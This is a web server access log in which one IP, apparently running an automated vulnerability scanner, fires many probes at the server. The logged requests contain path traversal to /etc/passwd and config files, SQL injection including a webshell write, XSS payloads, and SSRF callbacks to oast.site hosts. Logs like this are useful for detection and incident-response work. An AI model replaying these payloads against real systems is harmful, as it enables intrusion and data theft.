[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/ui/index HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ventrilo_srv.ini HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /radio/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //time.php HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /VirtualEms/Login.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:16 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vcav-bootstrap/rest/vcav-providers/provider-logo?url=https://d5g6sfahausljekepl20k5moyz318u3y3.oast.site HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/login.action HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cloud/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login.stm HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/schema.xml HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../TeleConferenceService HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wabam HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login/?next=/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..;/..;/host-manager/html;/ HTTP/1.1" 226
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mail/logs/errors HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/voyager-assets?path=.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2F.....%2F%2F%2Fetc/passwd HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /webapi/auth HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/dashboard.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /websso/SAML2/SSO/vsphere.local?SAMLRequest HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/webclient/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "PUT /api/2.0/services/usermgmt/password/heyona HTTP/1.1" 220
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sftp.json HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /Api/portal/elementEcodeAddon/getSqlData?sql=select%20substring(sys.fn_sqlvarbasetostr(hashbytes('MD5','999999999')),3,32) HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vsaas/v2/login HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /eoffice10/server/public/iWebOffice2015/OfficeServer.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mobile/plugin/CheckServer.jsp?type=mobileSetting HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /pweb/careerapply/HrmCareerApplyPerView.jsp?id=1%20union%20select%201,2,sys.fn_sqlvarbasetostr(HashBytes('MD5','999999999')),4,5,6,7 HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /images/versalogo.png HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /iweboffice/officeserver.php?OPTION=LOADFILE&FILENAME=../mysql_config.ini HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /cpt/manage/validate.jsp?sourcestring=validateNum HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /..///////..////..//////etc/passwd HTTP/1.1" 226
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?phpinfo=-1 HTTP/1.1" 3426
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /workrelate/plan/util/uploaderOperate.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //am/UI/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jenkins/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /login?loginUrl=%2Findex HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/login HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /E-mobile/App/Ajax/ajax.php?action=mobile_upload_save HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /etc.children.json/FNZ.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wp-content/plugins/w3-total-cache/pub/minify.php?file=yygpKbDS1y9Ky9TLSy0uLi3Wyy9KB3NLKkqUM4CyxUDpxKzECr30_Pz0nNTEgsxiveT8XAA.css HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/weibo/javascript/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/DownloadServlet?modeType=0&key=x&path=..&FileName=WEB-INF/classes/fc.properties&name=x&encrypt=x&cd&downloadAll=2 HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /suite-api/api/auth/token/acquire HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/extension/smartUpload.jsp?path=information&fileName=infoPicName&saveName=infoPicSaveName&tableName=infoPicTable&fileMaxSize=0&fileMaxNum=0&fileType=gif,jpg,bmp,jsp,png&fileMinWidth=0&fileMinHeight=0&fileMaxWidth=0&fileMaxHeight=0 HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /umbraco/backoffice/UmbracoApi/Dashboard/GetRemoteDashboardCss?section=AvoidGetCacheItem&baseUrl=http://d5g6sfahausljekepl201u1n79xturw9k.oast.site/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //setup.sh HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /versa/login HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /client.do HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /jmx-console/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //data/common.inc.php.~ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/bsh.servlet.BshServlet HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /UserSelect/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/download_ftp.jsp?path=/../WEB-INF/&name=aaa&FileName=web.xml HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //index.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/multimon.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /index.php?module=Install&view=Index HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /examples/servlets/servlet/SessionExample HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /login.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/SptmForPortalThumbnail.jsp?preview=portal/SptmForPortalThumbnail.jsp HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /hp/device/webAccess/index.htm?content=security HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /home.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/outside.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /psp/hr857prd_er/?cmd=login&languageCd=ENG HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /web.config HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /eam/vib?id=C:\\ProgramData\\VMware\\VMware+VirtualCenter\\vcdb.properties HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/officeserverservlet HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /general/weibo/javascript/LazyUploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/iWebOfficeSign/OfficeServer.jsp/../../public/iSignatureHTML.jsp/DocumentEdit.jsp?DocumentID=1';WAITFOR%20DELAY%20'0:0:7'-- HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /weaver/com.weaver.formmodel.apps.ktree.servlet.KtreeUploadAction?action=image HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /app/login HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /data/production.db HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /application.wadl HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST / HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //root.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cgi-bin/upload/web-ftp.cgi HTTP/1.1" 199
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /weaver/weaver.file.SignatureDownLoad?markId=0%20union%20select%20%27../ecology/WEB-INF/prop/weaver.properties%27 HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /DesktopModules/Admin/RadEditorProvider/DialogHandler.aspx?dp=1 HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //swagger/index.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /plc/webvisu.htm HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /key.pem HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /defaultroot/download_old.jsp?path=..&name=x&FileName=WEB-INF/web.xml HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /?month=%27%3E%22%3Csvg%2Fonload=confirm%28%27month%27%29%3E&page_id=%27%3E%22%3Csvg%2Fonload=confirm%28%27page_id%27%29%3E&password=%27%3E%22%3Csvg%2Fonload=confirm%28%27password%27%29%3E&terms=%27%3E%22%3Csvg%2Fonload=confirm%28%27terms%27%29%3E&token=%27%3E%22%3Csvg%2Fonload=confirm%28%27token%27%29%3E&type=%27%3E%22%3Csvg%2Fonload=confirm%28%27type%27%29%3E&unsubscribe_token=%27%3E%22%3Csvg%2Fonload=confirm%28%27unsubscribe_token%27%29%3E&year=%27%3E%22%3Csvg%2Fonload=confirm%28%27year%27%29%3E HTTP/1.1" 3426
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /ui/vault/auth?with=oidc%2F HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /rest/domains/list?sortCol=fullyQualifiedName&sortDir=asc HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wxjsapi/saveYZJFile?fileName=test&downloadUrl=file:///C:/&fileExt=txt HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /E-mobile/App/System/Login/login_quick.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //dbdump.sql HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /mongo-express/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /vr2conf/login.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /api/plugins/org.graylog.plugins.security/teams HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/group_user_list/group_xml.php?par=W2dyb3VwXTpbMV18W2dyb3VwaWRdOlsxIHVuaW9uIHNlbGVjdCAnPD9waHAgZWNobyBtZDUoIndlYXZlci1ncm91cC14bWwtc3FsaSIpO3VubGluayhfX0ZJTEVfXyk7Pz4nLDIsMyw0LDUsNiw3LDggaW50byBvdXRmaWxlICcuLi93ZWJyb290L2d0cm1iLnBocCdd HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /sign-in HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET https://intranet/ HTTP/1.1" 226
[09/Jan/2026:10:52:17 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /seminovos/routes/configs/routes.ini HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /inc/jquery/uploadify/uploadify.php HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /portal/WebLogin.aspx HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /usage/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET //fckeditor/_samples/default.html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380CxsIiaMVnBBEaQTAR8I8WMQ1 HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST //graphql/schema.yaml HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /defaultroot/upload/fileUpload.controller HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /wabam/favicon.ico HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /logs/sendmail HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /nuclei.svg?HbqAI=x HTTP/1.1" 226
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /380Cy53Z2L9XEeRGpqqLrejdbzb/..;/manager/html HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /console/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /admin/login/?next=/admin/ HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /cms/login?redirect=cmsycsz3%22%3E%3Cscript%3Ealert%28document.domain%29%3C%2fscript>bn76w HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /invoke/pub.file/getFile HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /webapi/file/transfer?name=/../../../../../../../../etc/passwd&type=db_backup HTTP/1.1" 196
[09/Jan/2026:10:52:17 +0800] 3.1.128.83 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /uddiexplorer/ HTTP/1.1" 196
